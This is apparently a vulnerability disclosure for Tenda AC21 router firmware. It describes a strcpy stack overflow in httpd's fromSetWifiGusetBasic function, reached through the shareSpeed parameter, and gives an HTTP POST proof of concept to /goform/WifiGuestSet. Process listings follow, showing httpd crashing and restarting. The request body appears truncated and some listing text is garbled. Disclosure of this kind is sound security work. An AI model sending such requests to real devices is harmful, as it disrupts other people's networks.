



description

1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd , function fromSetWifiGusetBasic

Attacker can use this vulnerability via the shareSpeed parameter.

it calls strcpy(v12, v7) and v12 is on the stack, so there is a stack buffer overflow vulnerability.

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by qemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

POST /goform/WifiGuestSet HTTP/1.1

Host: 192.168.0.1 Content-Length: 23

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/105.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.0.1

Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&

Accept-Encoding: gzip, deflate

Accept-Language: en,zh-CN;q=0.9,zh;q=0.8

Connection: close

4

By sending this poc, we can cause httpd reboot.

```
12592 root 0:00 [kworker/0:2]

12767 root 0:00 [kworker/0:1]

12814 root 0:00 sntp -z 28800 -t 86400

12827 root 0:01 httpd

12938 root 0:00 telnetd -b 192.168.0.1

12945 root 0:00 -sh

12963 root 0:00 ps
```

```
v:vv/sbui/sucogui
                 0:00 [kworker/0:0]
12420 root
                 0:00 [kworker/0:1]
12767 root
12938 root
                 0:00 telnetd -b 192.168.0.1
12945 root
                 0:00 - sh
                 0:00 sntp -z 28800 -t 86400
12997 root
13004 root
                 0:00 [kworker/0:2]
13014 root
                 0:00 httpd
13021 root
                 0:00 ps
```